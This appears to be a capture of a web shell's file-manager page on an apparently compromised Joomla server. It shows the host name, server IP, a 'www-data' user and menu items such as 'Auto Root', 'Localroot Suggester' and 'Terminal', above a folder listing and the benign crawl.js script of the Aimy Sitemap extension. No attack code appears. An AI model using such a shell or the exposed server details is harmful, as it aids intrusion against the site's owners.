Linux mail.vriendennsm.nl 6.1.0-51-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.177-1 (2026-07-16) x86_64
Apache/2.4.68 (Debian)
Server IP : 217.154.75.17 & Your IP : 216.73.216.195
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
vnsm /
media /
com_aimysitemap /
Delete
Unzip
Name
Size
Permission
Date
Action
aimy-logo_100x50.png
5.12
KB
-rwxr-xr-x
2026-06-10 18:30
aimy-logo_340x327.png
21.34
KB
-rwxr-xr-x
2026-06-10 18:30
aimy-logo_dm_100x50.png
3.07
KB
-rw-r--r--
2026-06-10 18:30
aimy.eot
8.05
KB
-rwxr-xr-x
2026-06-10 18:30
aimy.svg
5.35
KB
-rwxr-xr-x
2026-06-10 18:30
aimy.ttf
7.9
KB
-rwxr-xr-x
2026-06-10 18:30
aimy.woff
4.98
KB
-rwxr-xr-x
2026-06-10 18:30
aimy.woff2
4.01
KB
-rwxr-xr-x
2026-06-10 18:30
backend-j3.css
1.28
KB
-rwxr-xr-x
2026-06-10 18:30
backend-j4.css
3.33
KB
-rwxr-xr-x
2026-06-10 18:30
backend.css
5.36
KB
-rwxr-xr-x
2026-06-10 18:30
bg-linkcheck.png
23.72
KB
-rw-r--r--
2026-06-10 18:30
bg-periodic-crawl.png
33.4
KB
-rw-r--r--
2026-06-10 18:30
crawl.js
7.23
KB
-rwxr-xr-x
2026-06-10 18:30
go-pro.jpg
53.94
KB
-rwxr-xr-x
2026-06-10 18:30
index.html
14
B
-rwxr-xr-x
2026-06-10 18:30
microalert.css
1.31
KB
-rwxr-xr-x
2026-06-10 18:30
microalert.js
1.89
KB
-rwxr-xr-x
2026-06-10 18:30
notifier.js
811
B
-rwxr-xr-x
2019-06-18 17:15
ping.js
1.81
KB
-rwxr-xr-x
2026-06-10 18:30
progress.gif
10.57
KB
-rwxr-xr-x
2026-06-10 18:30
sitemap_128x128.png
4.81
KB
-rwxr-xr-x
2019-06-18 17:15
urls-ajax-edit.js
3.42
KB
-rwxr-xr-x
2026-06-10 18:30
Save
Rename
/* * Copyright (c) 2017-2026 Aimy Extensions, Netzum Sorglos Software GmbH * Copyright (c) 2014-2017 Aimy Extensions, Lingua-Systems Software GmbH * * https://www.aimy-extensions.com/ * * License: GNU GPLv2, see LICENSE.txt within distribution and/or * https://www.aimy-extensions.com/software-license.html */ g_aimysitemap_abort=false;function AimySitemapCrawl(i18n,token,outSel,resume,cb) {var $out=jQuery(outSel);var urls={'manage':'index.php?option=com_aimysitemap&view=urls','linkcheck':'index.php?option=com_aimysitemap&view=linkcheck','crawl':'index.php?option=com_aimysitemap&task=crawl.crawl_ajax','init':'index.php?option=com_aimysitemap&task=crawl.crawl_init_ajax'};$out.html(jQuery('<div></div>') .addClass('row-fluid') .html(jQuery('<div></div>') .addClass('span6') .attr('id','report') .html(jQuery('<h2></h2>').text(i18n.crawling)) .append(jQuery('<div></div>') .css('margin','12px 0') .html(jQuery('<img></img>') .attr('src','../media/com_aimysitemap/progress.gif')) .append(jQuery('<p></p>') .css('padding','12px 0') .html(jQuery('<strong></strong>') .text(i18n.dont_close)))) .append(jQuery('<div></div>') .css('overflow','hidden') .attr('id','progress') .html(jQuery('<div></div>') .addClass('alert alert-info') .text(i18n.init)))) .append(jQuery('<div></div>') .addClass('span6') .attr('id','wait')));var $progress=jQuery('#progress');var $progressbar=jQuery('#progress-bar');var $wait=jQuery('#wait');var $report=jQuery('#report');var crawl_cnt=0;var retry={cur:0,max:30,sleep:10};$wait.html(jQuery('<a></a>') .attr({'href':'https://www.aimy-extensions.com/joomla/sitemap.html','target':'_blank','rel':'noopener'}) .css({'display':'block','text-align':'center'}) .html(jQuery('<img></img>') .attr({'src':'../media/com_aimysitemap/go-pro.jpg?r=40.0','alt':'Go PRO!','width':400,'height':469})));var post_data={'resume':resume};post_data[token]=1;var respToJson=function(jd) {if(jd&&typeof(jd)=='string') {try {jd=jQuery.parseJSON(jd);} catch(e){}} return jd;};var mark_fail=function(ctx,msg) {$out.html(jQuery('<div></div>') .addClass('alert alert-danger') .text((ctx?(ctx+': '):'')+(msg?msg:'')));if(typeof(cb)=='function') {cb(false,msg);} return false;};var report_list=function(n,l,ic) {var $ul=jQuery('<ul></ul>');for(i=0;i<l.length;i++) {$ul.append(jQuery('<li></li>').text(l[i]));} $report.append(jQuery('<div></div>') .addClass('alert alert-info') .html(jQuery('<h3></h3>') .addClass('alert-heading') .text(n+': '+l.length) .prepend(jQuery('<i></i>') .addClass('aimy-icon-'+ic) .css('padding-right','12px'))) .append($ul) .fadeIn(600));};var generate_report=function(jd) {$wait.find('img').fadeOut('fast');if(!'ok'in jd||!jd.ok) {return mark_fail('crawl-abort',('msg'in jd?jd.msg:'Unspecified error from backend - please have a look '+ 'at your PHP error log and contact Aimy Extensions\' '+ 'support. Thanks in advance!'));} if(crawl_cnt<=3) {$report.html($progress.append(jQuery('<div></div>') .addClass('padded-tb') .html(jQuery('<div></div>') .addClass('alert alert-danger') .text(i18n.abort_first))));if(typeof(cb)=='function') {cb(false,i18n.abort_first);} return;} $progress.find('div:not(.alert)').remove();if($progress.find('div.alert.alert-danger').length) {$wait.html($progress.html()) .prepend(jQuery('<h2></h2>') .text(i18n.errors) .append(jQuery('<i></i>') .addClass('aimy-icon-warning') .css({'color':'#800','padding-left':'8px'}))) .fadeIn(600);$wait.find('div.alert').show().css('opacity',1);} $report.html(jQuery('<h2></h2>') .text(i18n.finished) .append(jQuery('<i></i>') .addClass('aimy-icon-ok') .css({'color':'#390','padding-left':'8px'})));if('msg'in jd) {$report.append(jQuery('<div></div>') .addClass('alert alert-info') .text(jd.msg));} if('stats'in jd) {var changed=false;var s=jd.stats;if('added'in s&&s.added.length>0) {changed=true;report_list(i18n.added,s.added,'plus');} if('deleted'in s&&s.deleted.length>0) {changed=true;report_list(i18n.deleted,s.deleted,'minus');} if('updated'in s&&s.updated.length>0) {changed=true;report_list(i18n.updated,s.updated,'loop');} if(!changed) {$report.append(jQuery('<div></div>') .addClass('alert alert-info') .text(i18n.no_updates));}} var mbtn=jQuery('<a></a>') .addClass('btn btn-lg btn-primary') .attr('href',urls.manage) .text(i18n.manage+'!');$report.append(jQuery('<div></div>') .addClass('row-fluid') .html(mbtn));if(jQuery('#report li').length>20) {jQuery('<p></p>') .html(mbtn.clone()) .insertAfter('#report > h2');} var lbtn=jQuery('<a></a>') .addClass('btn btn-lg btn-primary') .text(i18n.linkcheck+'!') .attr('href',urls.linkcheck);var has_broken_links=jQuery('#wait').text() .match(/Status Code: 404/);if(has_broken_links) {$wait.append(jQuery('<div></div>') .addClass('bigskip') .html(lbtn));if(jQuery('#wait div.alert').length>20) {jQuery('<p></p>') .html(lbtn.clone(true)) .insertAfter('#wait > h2');}} if(typeof(cb)=='function') {cb(true,i18n.finished);}};var show_url_result=function(jd) {var $res=jQuery('<div></div>') .css('margin','4px 0') .html(jQuery('<code></code>') .text(jd.url));if(!('rebuilding'in jd)) {if('ok'in jd&&jd.ok) {$res.append(jQuery('<i></i>') .addClass('aimy-icon-ok') .css('padding-left','4px'));} else {$res.addClass('alert alert-danger') .append(jQuery('<i></i>') .addClass('aimy-icon-cancel') .css('padding','0 4px'));}} if('msg'in jd) {$res.append(jQuery('<strong></strong>') .text(' '+jd.msg));} $progress.prepend($res.fadeIn(600));if('ok'in jd&&jd.ok&&!('rebuilding'in jd)) {$res.delay('msg'in jd?8000:4000) .fadeOut(600,function(){$res.remove();});}};var crawl_next=function() {if(g_aimysitemap_abort) {return mark_fail('userabort',i18n.userabort);} jQuery.post(urls.crawl,post_data,function(jd) {crawl_cnt++;jd=respToJson(jd);if(retry.cur!=0) {retry.cur=0;$progress.find('.crawl-request-fail') .fadeOut(1200,function(){jQuery(this).remove();});} if(jd!==null&&typeof(jd)=='object') {if('abort'in jd&&jd.abort) {return generate_report(jd);} show_url_result(jd);if('rebuilding'in jd&&jd.rebuilding) {return;} return crawl_next();} else {return mark_fail('crawl','Unspecified error from backend - '+ 'please have a look at your PHP error log and contact '+ 'Aimy Extensions\' support. Thanks in advance!');}}) .fail(function() {if(retry.cur<retry.max) {retry.cur++;$progress.prepend(jQuery('<div></div>') .addClass('alert alert-notice crawl-request-fail') .text(i18n.retry+ ' ('+retry.cur+'/'+retry.max+')'));window.setTimeout(function(){crawl_next();},retry.sleep*1000);} else {return mark_fail('crawl-request','Could not communicate with backend');}});};jQuery.post(urls.init,post_data,function(jd) {crawl_cnt++;jd=respToJson(jd);if(jd!==null&&typeof(jd)=='object') {if('ok'in jd&&jd.ok) {$progress.html('');show_url_result(jd);crawl_next();} else {return mark_fail('crawl-init','msg'in jd?jd.msg:'Initializing the crawler failed - '+ 'please have a look at your PHP error log and '+ 'contact Aimy Extensions\' support. Thanks in '+ 'advance!');}} else {return mark_fail('crawl-init','Invalid result from backend - '+ 'please have a look at your PHP error log and contact '+ 'Aimy Extensions\' support. Thanks in advance!');}}) .fail(function(xhr) {var err=null;try {var jd=jQuery.parseJSON(xhr.responseText);if('msg'in jd) {err=jd.msg;}} catch(e){} if(!err) {try {err=jQuery('<span></span>').html(xhr.responseText).text();} catch(e){}} return mark_fail('crawl-init-request','Could not communicate with backend' +(err?(': '+err):''));});}